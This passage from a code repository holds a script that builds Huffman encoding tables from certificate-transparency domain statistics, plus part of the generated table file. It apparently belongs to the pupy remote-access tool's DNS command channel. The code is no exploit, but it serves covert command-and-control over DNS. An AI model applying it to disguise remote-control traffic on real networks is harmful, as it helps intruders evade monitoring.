        'express', 'extraspace', 'fage', 'fail', 'fairwinds', 'faith', 'family', 'fan',
        'fans', 'farm', 'farmers', 'fashion', 'fast', 'fedex', 'feedback', 'ferrari',
        'ferrero', 'fi', 'fiat', 'fidelity', 'fido', 'film', 'final', 'finance',
        'financial', 'fire', 'firestone', 'firmdale', 'fish', 'fishing', 'fit',
        'fitness', 'fj', 'fk', 'flickr', 'flights', 'flir', 'florist', 'flowers',
        'fly', 'fm', 'fo', 'foo', 'food', 'foodnetwork', 'football', 'ford', 'forex',
        'forsale', 'forum', 'foundation', 'fox', 'fr', 'free', 'fresenius', 'frl',
        'frogans', 'frontdoor', 'frontier', 'ftr', 'fujitsu', 'fujixerox', 'fun',
        'fund', 'furniture', 'futbol', 'fyi', 'ga', 'gal', 'gallery', 'gallo',
        'gallup', 'game', 'games', 'gap', 'garden', 'gb', 'gbiz', 'gd', 'gdn', 'ge',
        'gea', 'gent', 'genting', 'george', 'gf', 'gg', 'ggee', 'gh', 'gi', 'gift',
        'gifts', 'gives', 'giving', 'gl', 'glade', 'glass', 'gle', 'global', 'globo',
        'gm', 'gmail', 'gmbh', 'gmo', 'gmx', 'gn', 'godaddy', 'gold', 'goldpoint',
        'golf', 'goo', 'goodyear', 'goog', 'google', 'gop', 'got', 'gov', 'gp', 'gq',
        'gr', 'grainger', 'graphics', 'gratis', 'green', 'gripe', 'grocery', 'group',
        'gs', 'gt', 'gu', 'guardian', 'gucci', 'guge', 'guide', 'guitars', 'guru',
        'gw', 'gy', 'hair', 'hamburg', 'hangout', 'haus', 'hbo', 'hdfc', 'hdfcbank',
        'health', 'healthcare', 'help', 'helsinki', 'here', 'hermes', 'hgtv', 'hiphop',
        'hisamitsu', 'hitachi', 'hiv', 'hk', 'hkt', 'hm', 'hn', 'hockey', 'holdings',
        'holiday', 'homedepot', 'homegoods', 'homes', 'homesense', 'honda',
        'honeywell', 'horse', 'hospital', 'host', 'hosting', 'hot', 'hoteles',
        'hotels', 'hotmail', 'house', 'how', 'hr', 'hsbc', 'ht', 'hu', 'hughes',
        'hyatt', 'hyundai', 'ibm', 'icbc', 'ice', 'icu', 'id', 'ie', 'ieee', 'ifm',
        'ikano', 'il', 'im', 'imamat', 'imdb', 'immo', 'immobilien', 'in', 'inc',
        'industries', 'infiniti', 'info', 'ing', 'ink', 'institute', 'insurance',
        'insure', 'int', 'intel', 'international', 'intuit', 'investments', 'io',
        'ipiranga', 'iq', 'ir', 'irish', 'is', 'iselect', 'ismaili', 'ist', 'istanbul',
        'it', 'itau', 'itv', 'iveco', 'jaguar', 'java', 'jcb', 'jcp', 'je', 'jeep',
        'jetzt', 'jewelry', 'jio', 'jll', 'jm', 'jmp', 'jnj', 'jo', 'jobs', 'joburg',
        'jot', 'joy', 'jp', 'jpmorgan', 'jprs', 'juegos', 'juniper', 'kaufen', 'kddi',
        'ke', 'kerryhotels', 'kerrylogistics', 'kerryproperties', 'kfh', 'kg', 'kh',
        'ki', 'kia', 'kim', 'kinder', 'kindle', 'kitchen', 'kiwi', 'km', 'kn', 'koeln',
        'komatsu', 'kosher', 'kp', 'kpmg', 'kpn', 'kr', 'krd', 'kred', 'kuokgroup',
        'kw', 'ky', 'kyoto', 'kz', 'la', 'lacaixa', 'ladbrokes', 'lamborghini',
        'lamer', 'lancaster', 'lancia', 'lancome', 'land', 'landrover', 'lanxess',
        'lasalle', 'lat', 'latino', 'latrobe', 'law', 'lawyer', 'lb', 'lc', 'lds',
        'lease', 'leclerc', 'lefrak', 'legal', 'lego', 'lexus', 'lgbt', 'li',
        'liaison', 'lidl', 'life', 'lifeinsurance', 'lifestyle', 'lighting', 'like',
        'lilly', 'limited', 'limo', 'lincoln', 'linde', 'link', 'lipsy', 'live',
        'living', 'lixil', 'lk', 'llc', 'loan', 'loans', 'locker', 'locus', 'loft',
        'lol', 'london', 'lotte', 'lotto', 'love', 'lpl', 'lplfinancial', 'lr', 'ls',
        'lt', 'ltd', 'ltda', 'lu', 'lundbeck', 'lupin', 'luxe', 'luxury', 'lv', 'ly',
        'ma', 'macys', 'madrid', 'maif', 'maison', 'makeup', 'man', 'management',
        'mango', 'map', 'market', 'marketing', 'markets', 'marriott', 'marshalls',
        'maserati', 'mattel', 'mba', 'mc', 'mckinsey', 'md', 'me', 'med', 'media',
        'meet', 'melbourne', 'meme', 'memorial', 'men', 'menu', 'merckmsd', 'metlife',
        'mg', 'mh', 'miami', 'microsoft', 'mil', 'mini', 'mint', 'mit', 'mitsubishi',
        'mk', 'ml', 'mlb', 'mls', 'mm', 'mma', 'mn', 'mo', 'mobi', 'mobile', 'mobily',
        'moda', 'moe', 'moi', 'mom', 'monash', 'money', 'monster', 'mopar', 'mormon',
        'mortgage', 'moscow', 'moto', 'motorcycles', 'mov', 'movie', 'movistar', 'mp',
        'mq', 'mr', 'ms', 'msd', 'mt', 'mtn', 'mtr', 'mu', 'museum', 'mutual', 'mv',
        'mw', 'mx', 'my', 'mz', 'na', 'nab', 'nadex', 'nagoya', 'name', 'nationwide',
        'natura', 'navy', 'nba', 'nc', 'ne', 'nec', 'net', 'netbank', 'netflix',
        'network', 'neustar', 'new', 'newholland', 'news', 'next', 'nextdirect',
        'nexus', 'nf', 'nfl', 'ng', 'ngo', 'nhk', 'ni', 'nico', 'nike', 'nikon',
        'ninja', 'nissan', 'nissay', 'nl', 'no', 'nokia', 'northwesternmutual',
        'norton', 'now', 'nowruz', 'nowtv', 'np', 'nr', 'nra', 'nrw', 'ntt', 'nu',
        'nyc', 'nz', 'obi', 'observer', 'off', 'office', 'okinawa', 'olayan',
        'olayangroup', 'oldnavy', 'ollo', 'om', 'omega', 'one', 'ong', 'onl', 'online',
        'onyourside', 'ooo', 'open', 'oracle', 'orange', 'org', 'organic', 'origins',
        'osaka', 'otsuka', 'ott', 'ovh', 'pa', 'page', 'panasonic', 'paris', 'pars',
        'partners', 'parts', 'party', 'passagens', 'pay', 'pccw', 'pe', 'pet', 'pf',
        'pfizer', 'pg', 'ph', 'pharmacy', 'phd', 'philips', 'phone', 'photo',
        'photography', 'photos', 'physio', 'piaget', 'pics', 'pictet', 'pictures',
        'pid', 'pin', 'ping', 'pink', 'pioneer', 'pizza', 'pk', 'pl', 'place', 'play',
        'playstation', 'plumbing', 'plus', 'pm', 'pn', 'pnc', 'pohl', 'poker',
        'politie', 'porn', 'post', 'pr', 'pramerica', 'praxi', 'press', 'prime', 'pro',
        'prod', 'productions', 'prof', 'progressive', 'promo', 'properties',
        'property', 'protection', 'pru', 'prudential', 'ps', 'pt', 'pub', 'pw', 'pwc',
        'py', 'qa', 'qpon', 'quebec', 'quest', 'qvc', 'racing', 'radio', 'raid', 're',
        'read', 'realestate', 'realtor', 'realty', 'recipes', 'red', 'redstone',
        'redumbrella', 'rehab', 'reise', 'reisen', 'reit', 'reliance', 'ren', 'rent',
        'rentals', 'repair', 'report', 'republican', 'rest', 'restaurant', 'review',
        'reviews', 'rexroth', 'rich', 'richardli', 'ricoh', 'rightathome', 'ril',
        'rio', 'rip', 'rmit', 'ro', 'rocher', 'rocks', 'rodeo', 'rogers', 'room', 'rs',
        'rsvp', 'ru', 'rugby', 'ruhr', 'run', 'rw', 'rwe', 'ryukyu', 'sa', 'saarland',
        'safe', 'safety', 'sakura', 'sale', 'salon', 'samsclub', 'samsung', 'sandvik',
        'sandvikcoromant', 'sanofi', 'sap', 'sarl', 'sas', 'save', 'saxo', 'sb', 'sbi',
        'sbs', 'sc', 'sca', 'scb', 'schaeffler', 'schmidt', 'scholarships', 'school',
        'schule', 'schwarz', 'science', 'scjohnson', 'scor', 'scot', 'sd', 'se',
        'search', 'seat', 'secure', 'security', 'seek', 'select', 'sener', 'services',
        'ses', 'seven', 'sew', 'sex', 'sexy', 'sfr', 'sg', 'sh', 'shangrila', 'sharp',
        'shaw', 'shell', 'shia', 'shiksha', 'shoes', 'shop', 'shopping', 'shouji',
        'show', 'showtime', 'shriram', 'si', 'silk', 'sina', 'singles', 'site', 'sj',
        'sk', 'ski', 'skin', 'sky', 'skype', 'sl', 'sling', 'sm', 'smart', 'smile',
        'sn', 'sncf', 'so', 'soccer', 'social', 'softbank', 'software', 'sohu',
        'solar', 'solutions', 'song', 'sony', 'soy', 'space', 'sport', 'spot',
        'spreadbetting', 'sr', 'srl', 'srt', 'ss', 'st', 'stada', 'staples', 'star',
        'starhub', 'statebank', 'statefarm', 'stc', 'stcgroup', 'stockholm', 'storage',
        'store', 'stream', 'studio', 'study', 'style', 'su', 'sucks', 'supplies',
        'supply', 'support', 'surf', 'surgery', 'suzuki', 'sv', 'swatch', 'swiftcover',
        'swiss', 'sx', 'sy', 'sydney', 'symantec', 'systems', 'sz', 'tab', 'taipei',
        'talk', 'taobao', 'target', 'tatamotors', 'tatar', 'tattoo', 'tax', 'taxi',
        'tc', 'tci', 'td', 'tdk', 'team', 'tech', 'technology', 'tel', 'telefonica',
        'temasek', 'tennis', 'teva', 'tf', 'tg', 'th', 'thd', 'theater', 'theatre',
        'tiaa', 'tickets', 'tienda', 'tiffany', 'tips', 'tires', 'tirol', 'tj',
        'tjmaxx', 'tjx', 'tk', 'tkmaxx', 'tl', 'tm', 'tmall', 'tn', 'to', 'today',
        'tokyo', 'tools', 'top', 'toray', 'toshiba', 'total', 'tours', 'town',
        'toyota', 'toys', 'tr', 'trade', 'trading', 'training', 'travel',
        'travelchannel', 'travelers', 'travelersinsurance', 'trust', 'trv', 'tt',
        'tube', 'tui', 'tunes', 'tushu', 'tv', 'tvs', 'tw', 'tz', 'ua', 'ubank', 'ubs',
        'uconnect', 'ug', 'uk', 'unicom', 'university', 'uno', 'uol', 'ups', 'us',
        'uy', 'uz', 'va', 'vacations', 'vana', 'vanguard', 'vc', 've', 'vegas',
        'ventures', 'verisign', 'versicherung', 'vet', 'vg', 'vi', 'viajes', 'video',
        'vig', 'viking', 'villas', 'vin', 'vip', 'virgin', 'visa', 'vision',
        'vistaprint', 'viva', 'vivo', 'vlaanderen', 'vn', 'vodka', 'volkswagen',
        'volvo', 'vote', 'voting', 'voto', 'voyage', 'vu', 'vuelos', 'wales',
        'walmart', 'walter', 'wang', 'wanggou', 'warman', 'watch', 'watches',
        'weather', 'weatherchannel', 'webcam', 'weber', 'website', 'wed', 'wedding',
        'weibo', 'weir', 'wf', 'whoswho', 'wien', 'wiki', 'williamhill', 'win',
        'windows', 'wine', 'winners', 'wme', 'wolterskluwer', 'woodside', 'work',
        'works', 'world', 'wow', 'ws', 'wtc', 'wtf', 'xbox', 'xerox', 'xfinity',
        'xihuan', 'xin', 'xn--11b4c3d', 'xn--1ck2e1b', 'xn--1qqw23a', 'xn--2scrj9c',
        'xn--30rr7y', 'xn--3bst00m', 'xn--3ds443g', 'xn--3e0b707e', 'xn--3hcrj9c',
        'xn--3oq18vl8pn36a', 'xn--3pxu8k', 'xn--42c2d9a', 'xn--45br5cyl',
        'xn--45brj9c', 'xn--45q11c', 'xn--4gbrim', 'xn--54b7fta0cc', 'xn--55qw42g',
        'xn--55qx5d', 'xn--5su34j936bgsg', 'xn--5tzm5g', 'xn--6frz82g',
        'xn--6qq986b3xl', 'xn--80adxhks', 'xn--80ao21a', 'xn--80aqecdr1a',
        'xn--80asehdb', 'xn--80aswg', 'xn--8y0a063a', 'xn--90a3ac', 'xn--90ae',
        'xn--90ais', 'xn--9dbq2a', 'xn--9et52u', 'xn--9krt00a', 'xn--b4w605ferd',
        'xn--bck1b9a5dre4c', 'xn--c1avg', 'xn--c2br7g', 'xn--cck2b3b', 'xn--cg4bki',
        'xn--clchc0ea0b2g2a9gcd', 'xn--czr694b', 'xn--czrs0t', 'xn--czru2d',
        'xn--d1acj3b', 'xn--d1alf', 'xn--e1a4c', 'xn--eckvdtc9d', 'xn--efvy88h',
        'xn--estv75g', 'xn--fct429k', 'xn--fhbei', 'xn--fiq228c5hs', 'xn--fiq64b',
        'xn--fiqs8s', 'xn--fiqz9s', 'xn--fjq720a', 'xn--flw351e', 'xn--fpcrj9c3d',
        'xn--fzc2c9e2c', 'xn--fzys8d69uvgm', 'xn--g2xx48c', 'xn--gckr3f0f',
        'xn--gecrj9c', 'xn--gk3at1e', 'xn--h2breg3eve', 'xn--h2brj9c', 'xn--h2brj9c8c',
        'xn--hxt814e', 'xn--i1b6b1a6a2e', 'xn--imr513n', 'xn--io0a7i', 'xn--j1aef',
        'xn--j1amh', 'xn--j6w193g', 'xn--jlq61u9w7b', 'xn--jvr189m', 'xn--kcrx77d1x4a',
        'xn--kprw13d', 'xn--kpry57d', 'xn--kpu716f', 'xn--kput3i', 'xn--l1acc',
        'xn--lgbbat1ad8j', 'xn--mgb9awbf', 'xn--mgba3a3ejt', 'xn--mgba3a4f16a',
        'xn--mgba7c0bbn0a', 'xn--mgbaakc7dvf', 'xn--mgbaam7a8h', 'xn--mgbab2bd',
        'xn--mgbah1a3hjkrd', 'xn--mgbai9azgqp6j', 'xn--mgbayh7gpa', 'xn--mgbb9fbpob',
        'xn--mgbbh1a', 'xn--mgbbh1a71e', 'xn--mgbc0a9azcg', 'xn--mgbca7dzdo',
        'xn--mgberp4a5d4ar', 'xn--mgbgu82a', 'xn--mgbi4ecexp', 'xn--mgbpl2fh',
        'xn--mgbt3dhd', 'xn--mgbtx2b', 'xn--mgbx4cd0ab', 'xn--mix891f', 'xn--mk1bu44c',
        'xn--mxtq1m', 'xn--ngbc5azd', 'xn--ngbe9e0a', 'xn--ngbrx', 'xn--node',
        'xn--nqv7f', 'xn--nqv7fs00ema', 'xn--nyqy26a', 'xn--o3cw4h', 'xn--ogbpf8fl',
        'xn--otu796d', 'xn--p1acf', 'xn--p1ai', 'xn--pbt977c', 'xn--pgbs0dh',
        'xn--pssy2u', 'xn--q9jyb4c', 'xn--qcka1pmc', 'xn--qxam', 'xn--rhqv96g',
        'xn--rovu88b', 'xn--rvc1e0am3e', 'xn--s9brj9c', 'xn--ses554g', 'xn--t60b56a',
        'xn--tckwe', 'xn--tiq49xqyj', 'xn--unup4y', 'xn--vermgensberater-ctb',
        'xn--vermgensberatung-pwb', 'xn--vhquv', 'xn--vuq861b', 'xn--w4r85el8fhu5dnra',
        'xn--w4rs40l', 'xn--wgbh1c', 'xn--wgbl6a', 'xn--xhq521b', 'xn--xkc2al3hye2a',
        'xn--xkc2dl3a5ee0h', 'xn--y9a3aq', 'xn--yfro4i67o', 'xn--ygbi2ammx',
        'xn--zfr164b', 'xxx', 'xyz', 'yachts', 'yahoo', 'yamaxun', 'yandex', 'ye',
        'yodobashi', 'yoga', 'yokohama', 'you', 'youtube', 'yt', 'yun', 'za', 'zappos',
        'zara', 'zero', 'zip', 'zm', 'zone', 'zuerich', 'zw'
    )


    class CTDictBuilder(object):
        __slots__ = (
            'terms', 'generic', 'tlds', 'cdns', 'freedns'
        )

        def __init__(self, ct_stats):
            # CSV.ZSTD
            # CTID;ORG;IP;PRIV;PUB

            self.terms = {
                '-': 1
            }
            self.generic = {}
            self.tlds = {}
            self.cdns = {}
            self.freedns = {}

            with open(ct_stats, 'rb') as fh:
                dctx = zstd.ZstdDecompressor()
                with dctx.stream_reader(fh) as reader:
                    wrap = io.TextIOWrapper(io.BufferedReader(reader), encoding='utf8')
                    while True:
                        line = wrap.readline().lower()
                        line = line.strip()

                        if not line:
                            break

                        try:
                            _, _, _, priv, pub = line.split(';')
                        except ValueError:
                            continue

                        if priv == '*' or all(x in 'abcdef1234567890' for x in priv):
                            priv = ''

                        if not all(x in DNS_ALPHABET+'*;' for x in priv):
                            continue

                        if not all(x in DNS_ALPHABET+'*;' for x in pub):
                            continue

                        for freedns in FREEDNS:
                            if pub.endswith('.'+freedns):
                                self._inc_freedns(freedns)
                                break

                        for tld in TLDS:
                            if pub.endswith('.'+tld):
                                self._inc_tld(tld)

                                non_tld = pub[:-(len(tld)+1)]
                                generic = '.'.join(x for x in [priv, non_tld] if x)

                                self._inc_generic(generic)
                                for term in non_tld.split('.'):
                                    self._inc_term(term)

                                for term in priv.split('.'):
                                    self._inc_term(term)

                                break

        def _inc_tld(self, tld):
            if not tld:
                return

            if tld not in self.tlds:
                self.tlds[tld] = 0

            self.tlds[tld] += 1

        def _inc_generic(self, generic):
            if not generic:
                return

            for c in generic:
                if c == '*':
                    continue

                if c not in self.generic:
                    self.generic[c] = 0

                self.generic[c] += 1

        def _inc_term(self, term):
            if not term:
                return

            if term not in self.terms:
                self.terms[term] = 0

            self.terms[term] += 1

            to_leave = []

            if len(self.terms) > 32768*16:
                for term in list(self.terms):
                    if self.terms[term] > 1:
                        to_leave.append(term)

                if len(to_leave) > 32768:
                    to_leave = sorted(
                        to_leave, key=lambda x: self.terms[x],
                        reverse=True
                    )[:32768]

                self.terms = {
                    k: self.terms[k] for k in to_leave
                }

        def _inc_cdn(self, cdn):
            if not cdn:
                return

            if cdn not in self.cdns:
                self.terms[cdn] = 0

            self.terms[cdn] += 1

        def _inc_freedns(self, freedns):
            if not freedns:
                return

            if freedns not in self.freedns:
                self.freedns[freedns] = 0

            self.freedns[freedns] += 1

        def make_trees(self):
            trees = {}

            for freq in self.__slots__:
                max_key = 0
                table = getattr(self, freq)
                work_table = {}
                for idx, key in enumerate(sorted(table, key=lambda x:table[x], reverse=True)):
                    if idx > 511:
                        break

                    work_table[key] = table[key]
                    if table[key] > max_key:
                        max_key = table[key]

                work_table[IS_END] = max_key + 1

                h = Huffman()
                table = work_table.items()

                if not table:
                    print(("EMPTY TABLE", table))
                    continue

                h.train(table)
                trees[freq] = h.decoding_table

            return trees

    trees = CTDictBuilder(sys.argv[1]).make_trees()
    with open(sys.argv[2], 'w+') as out:
        out.write('# -*- encoding: utf-8 -*-\n\n')
        out.write('TREES={}\n'.format(repr(trees)))


================================================
FILE: pupy/network/lib/picocmd/dns_encoder_table.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

TREES={'generic': [(110, 9, u'9'), (111, 9, u'7'), (360, 9, u'5'), (361, 9, u'8'), (362, 9, u'6'), (363, 9, u'q'), (366, 9, u'3'), (367, 9, u'4'), (52, 8, u'0'), (53, 8, u'2'), (54, 8, u'1'), (182, 8, u'j'), (214, 8, u'z'), (215, 8, u'x'), (106, 7, u'-'), (12, 6, u'v'), (24, 6, u'y'), (25, 6, u'k'), (44, 6, u'f'), (52, 6, u'b'), (54, 6, u'g'), (55, 6, u'.'), (2, 5, u'h'), (3, 5, u'p'), (7, 5, u'u'), (13, 5, u'd'), (18, 5, u'm'), (19, 5, u'w'), (23, 5, u'c'), (0, 4, u'l'), (2, 4, u't'), (4, 4, u'n'), (5, 4, u'r'), (7, 4, u's'), (8, 4, u'i'), (10, 4, u'o'), (12, 4, u'a'), (14, 4, u'e'), (15, 4, '\x00')], 'cdns': [(0, 0, '\x00')], 'tlds': [(126044, 18, 'tj'), (126045, 18, 'diamonds'), (126110, 18, 'holdings'), (126111, 18, 'vote'), (126162, 18, 'restaurant'), (126163, 18, 'gp'), (126204, 18, 'istanbul'), (126205, 18, 'mc'), (128472, 18, 'lgbt'), (128473, 18, 'bw'), (128474, 18, 'gop'), (128475, 18, 'gold'), (128476, 18, 'tours'), (128477, 18, 'florist'), (128920, 18, 'gal'), (128921, 18, 'cv'), (130948, 18, 'accountants'), (130949, 18, 'bs'), (130964, 18, 'barcelona'), (130965, 18, 'voyage'), (131052, 18, 'bm'), (131053, 18, 'property'), (131054, 18, 'best'), (131055, 18, 'ceo'), (12672, 17, 'garden'), (12673, 17, 'cu'), (12708, 17, 'zm'), (12709, 17, 'parts'), (12730, 17, 'recipes'), (12731, 17, 'brussels'), (12732, 17, 'flights'), (12733, 17, 'singles'), (15842, 17, 'football'), (15843, 17, 'university'), (15846, 17, 'jetzt'), (15847, 17, 'country'), (20096, 17, 'af'), (20097, 17, 'forsale'), (20104, 17, 'construction'), (20105, 17, 'contractors'), (20156, 17, 'cheap'), (20157, 17, 'lawyer'), (29096, 17, 'finance'), (29097, 17, 'vegas'), (29102, 17, 'engineer'), (29103, 17, 'delivery'), (30378, 17, 'surf'), (30379, 17, 'clinic'), (30452, 17, 'holiday'), (30453, 17, 'ni'), (30456, 17, 'vet'), (30457, 17, 'dating'), (30916, 17, 'nrw'), (30917, 17, 'solar'), (30924, 17, 'limited'), (30925, 17, 'pet'), (30988, 17, 'games'), (30989, 17, 'taipei'), (30990, 17, 'film'), (30991, 17, 'lighting'), (31096, 17, 'ax'), (31097, 17, 'bayern'), (31100, 17, 'int'), (31101, 17, 'pr'), (31102, 17, 'sex'), (31103, 17, 'taxi'), (40146, 17, 'shoes'), (40147, 17, 'hiv'), (40322, 17, 'enterprises'), (40323, 17, 'show'), (40340, 17, 'partners'), (40341, 17, 'fj'), (40346, 17, 'cab'), (40347, 17, 'amsterdam'), (40512, 17, 'industries'), (40513, 17, 'kh'), (40560, 17, 'quebec'), (40561, 17, 'pizza'), (40768, 17, 'ngo'), (40769, 17, 'institute'), (40896, 17, 'melbourne'), (40897, 17, 'college'), (52634, 17, 'engineering'), (52635, 17, 'rw'), (52660, 17, 'mv'), (52661, 17, 'town'), (52668, 17, 'diet'), (52669, 17, 'wien'), (52670, 17, 'rest'), (52671, 17, 'hamburg'), (53044, 17, 'how'), (53045, 17, 'dance'), (53052, 17, 'frl'), (53053, 17, 'tm'), (55684, 17, 'earth'), (55685, 17, 'ltd'), (55686, 17, 'xn--j1amh'), (55687, 17, 'actor'), (55746, 17, 'capital'), (55747, 17, 'bh'), (55748, 17, 'healthcare'), (55749, 17, 'bar'), (55750, 17, 'ski'), (55751, 17, 'golf'), (59788, 17, 'sr'), (59789, 17, 'kw'), (59790, 17, 'xn--j6w193g'), (59791, 17, 'iq'), (62544, 17, 'immo'), (62545, 17, 'mo'), (62546, 17, 'porn'), (62547, 17, 'fail'), (62558, 17, 'dental'), (62559, 17, 'build'), (63023, 17, 'exposed'), (63040, 17, 'om'), (63041, 17, 'lb'), (63054, 17, 'camera'), (63080, 17, 'horse'), (63084, 17, 'estate'), (63085, 17, 'careers'), (63086, 17, 'poker'), (63087, 17, 'repair'), (63103, 17, 'swiss'), (64239, 17, 'toys'), (64461, 17, 'dj'), (64470, 17, 'futbol'), (64471, 17, 'mz'), (65475, 17, 'zw'), (65483, 17, 'ht'), (6272, 16, 'gift'), (6273, 16, 'fashion'), (6274, 16, 'eus'), (6275, 16, 'tl'), (6337, 16, 'fitness'), (6340, 16, 'wales'), (6341, 16, 'vg'), (6342, 16, 'ao'), (6343, 16, 'deals'), (6355, 16, 'cd'), (6358, 16, 'properties'), (6359, 16, 'gratis'), (6364, 16, 'productions'), (6367, 16, 'dz'), (7364, 16, 'casino'), (7365, 16, 'tt'), (7396, 16, 'yoga'), (7397, 16, 'jobs'), (7920, 16, 'rehab'), (7922, 16, 'pictures'), (7934, 16, 'koeln'), (7935, 16, 'ventures'), (10049, 16, 'na'), (10053, 16, 'rent'), (10076, 16, 'style'), (10077, 16, 'ky'), (10079, 16, 'fish'), (14549, 16, 'gh'), (14550, 16, 'menu'), (15188, 16, 'fo'), (15214, 16, 'ren'), (15215, 16, 'hn'), (15227, 16, 'nc'), (15229, 16, 'rip'), (15459, 16, 'desi'), (15463, 16, 'energy'), (15466, 16, 'cards'), (15467, 16, 'computer'), (15540, 16, 'band'), (15541, 16, 'graphics'), (15549, 16, 'place'), (20072, 16, 'sc'), (20074, 16, 'boutique'), (20075, 16, 'rentals'), (20160, 16, 'express'), (20171, 16, 'clothing'), (20172, 16, 'gy'), (20174, 16, 'gd'), (20175, 16, 'black'), (20232, 16, 'legal'), (20233, 16, 'tc'), (20234, 16, 'management'), (20235, 16, 'sydney'), (20257, 16, 'fund'), (20258, 16, 'jo'), (20259, 16, 'coach'), (20281, 16, 'kred'), (20282, 16, 'kiwi'), (20283, 16, 'ist'), (20284, 16, 'cash'), (20285, 16, 'foundation'), (20385, 16, 'report'), (20394, 16, 'sn'), (20395, 16, 'onl'), (20449, 16, 'cafe'), (20462, 16, 'supply'), (20463, 16, 'eg'), (26316, 16, 'ci'), (26331, 16, 'vision'), (26523, 16, 'bio'), (26527, 16, 'wf'), (27872, 16, 'lc'), (29858, 16, 'kitchen'), (29859, 16, 'nf'), (29918, 16, 'mg'), (29919, 16, 'exchange'), (31274, 16, 'kg'), (31275, 16, 'international'), (31278, 16, 'bike'), (31510, 16, 'pink'), (31521, 16, 'mom'), (31526, 16, 'care'), (31532, 16, 'watch'), (31533, 16, 'bi'), (31534, 16, 'school'), (31535, 16, 'bet'), (31541, 16, 'camp'), (31550, 16, 'ug'), (32076, 16, 'scot'), (32077, 16, 'training'), (32231, 16, 'shop'), (32234, 16, 'tz'), (32736, 16, 'ooo'), (32740, 16, 'sv'), (32762, 16, 'gl'), (3169, 15, 'family'), (3176, 15, 'aero'), (3178, 15, 'group'), (3683, 15, 'je'), (3699, 15, 'as'), (3966, 15, 'ac'), (5025, 15, 'bzh'), (5027, 15, 'dog'), (7590, 15, 'uno'), (7591, 15, 'house'), (7595, 15, 'community'), (7604, 15, 'business'), (7605, 15, 'money'), (7606, 15, 'beer'), (7612, 15, 'berlin'), (7615, 15, 'photos'), (7728, 15, 'farm'), (7730, 15, 'kim'), (7732, 15, 'fit'), (7746, 15, 'marketing'), (7771, 15, 'love'), (10081, 15, 'consulting'), (10082, 15, 'software'), (10083, 15, 'wedding'), (10084, 15, 'team'), (10118, 15, 'support'), (10119, 15, 'direct'), (10143, 15, 'mil'), (10176, 15, 'gallery'), (10177, 15, 'domains'), (10193, 15, 'moscow'), (10196, 15, 'fyi'), (10225, 15, 'coop'), (10230, 15, 'audio'), (13159, 15, 'directory'), (13164, 15, 'cy'), (13166, 15, 'run'), (13260, 15, 'reviews'), (13262, 15, 'pa'), (13276, 15, 'education'), (13277, 15, 'sx'), (13278, 15, 'mortgage'), (13279, 15, 'qa'), (13920, 15, 'photo'), (13926, 15, 'services'), (13927, 15, 'expert'), (14928, 15, 'bo'), (14932, 15, 'mu'), (14933, 15, 'hosting'), (14944, 15, 'plus'), (14945, 15, 'ink'), (14946, 15, 'uz'), (14950, 15, 'wiki'), (14951, 15, 'py'), (14958, 15, 'market'), (15638, 15, 'sexy'), (15752, 15, 'coffee'), (15753, 15, 'help'), (15754, 15, 'gs'), (15761, 15, 'cool'), (15762, 15, 'cricket'), (15772, 15, 'blue'), (15773, 15, 'church'), (15774, 15, 'yt'), (16039, 15, 'ps'), (16058, 15, 'travel'), (16114, 15, 'works'), (16116, 15, 'tools'), (16369, 15, 'cm'), (16371, 15, 'pics'), (16380, 15, 'buzz'), (16382, 15, 'technology'), (16383, 15, 'tf'), (1569, 14, 'paris'), (1570, 14, 'global'), (1571, 14, 'video'), (1590, 14, 'academy'), (1840, 14, 'events'), (1848, 14, 'tokyo'), (1981, 14, 'vc'), (1982, 14, 'ag'), (2486, 14, 'cx'), (2487, 14, 'land'), (2518, 14, 'ms'), (3636, 14, 'chat'), (3638, 14, 'guide'), (3639, 14, 'wang'), (3794, 14, 'pm'), (3796, 14, 'studio'), (3867, 14, 'pub'), (3872, 14, 'city'), (3884, 14, 'gt'), (3886, 14, 'codes'), (5019, 14, 'store'), (5056, 14, 'vip'), (5057, 14, 'company'), (5065, 14, 'social'), (5089, 14, 'cr'), (5097, 14, 'sale'), (5099, 14, 'sh'), (5113, 14, 'so'), (5114, 14, 'mt'), (6576, 14, 'wtf'), (6577, 14, 'mn'), (6578, 14, 'london'), (6636, 14, 'center'), (6637, 14, 'vu'), (6961, 14, 'tips'), (6962, 14, 'agency'), (6969, 14, 'nyc'), (6970, 14, 'bank'), (6971, 14, 'np'), (7465, 14, 'photography'), (7467, 14, 'haus'), (7474, 14, 'red'), (7478, 14, 'world'), (7816, 14, 'st'), (7817, 14, 'ai'), (7882, 14, 'systems'), (7884, 14, 'bd'), (8018, 14, 'gg'), (8028, 14, 'network'), (8056, 14, 'racing'), (8059, 14, 'zone'), (8186, 14, 'lol'), (8187, 14, 'ly'), (793, 13, 'sa'), (921, 13, 'email'), (925, 13, 'digital'), (1240, 13, 'uy'), (1241, 13, 'xxx'), (1242, 13, 'news'), (1257, 13, 'solutions'), (1258, 13, 'men'), (1896, 13, 'mk'), (1899, 13, 'do'), (1900, 13, 'ba'), (1902, 13, 'blog'), (1937, 13, 'ge'), (1940, 13, 'media'), (1941, 13, 'guru'), (2506, 13, 'life'), (2507, 13, 'la'), (2508, 13, 'design'), (2530, 13, 'md'), (2531, 13, 'lk'), (2533, 13, 'tn'), (2534, 13, 'ec'), (2540, 13, 'moe'), (2541, 13, 'bz'), (2545, 13, 'one'), (3290, 13, 'fm'), (3314, 13, 'al'), (3738, 13, 'am'), (3939, 13, 'ma'), (4008, 13, 'ke'), (4015, 13, 'degree'), (4030, 13, 're'), (4031, 13, 'cat'), (4094, 13, 'casa'), (318, 12, 'az'), (319, 12, 'bg'), (393, 12, 'cloud'), (461, 12, 'by'), (463, 12, 'kz'), (494, 12, 'to'), (908, 12, 'lu'), (967, 12, 'webcam'), (969, 12, 'li'), (1252, 12, 'ae'), (1255, 12, 'name'), (1261, 12, 'today'), (1262, 12, 'ng'), (1263, 12, 'pe'), (1268, 12, 'im'), (1269, 12, 'trade'), (1271, 12, 'stream'), (1273, 12, 'rs'), (1275, 12, 'si'), (1279, 12, 'press'), (1656, 12, 'ee'), (1658, 12, 'ph'), (1741, 12, 'th'), (1743, 12, 'gov'), (1867, 12, 'host'), (1955, 12, 'hr'), (1968, 12, 'party'), (2005, 12, 'lt'), (2006, 12, 'ir'), (2012, 12, 'is'), (2013, 12, 'ws'), (156, 11, 'su'), (157, 11, 'xn--p1ai'), (158, 11, 've'), (197, 11, 'ninja'), (199, 11, 'faith'), (246, 11, 'lv'), (311, 11, 'download'), (315, 11, 'pk'), 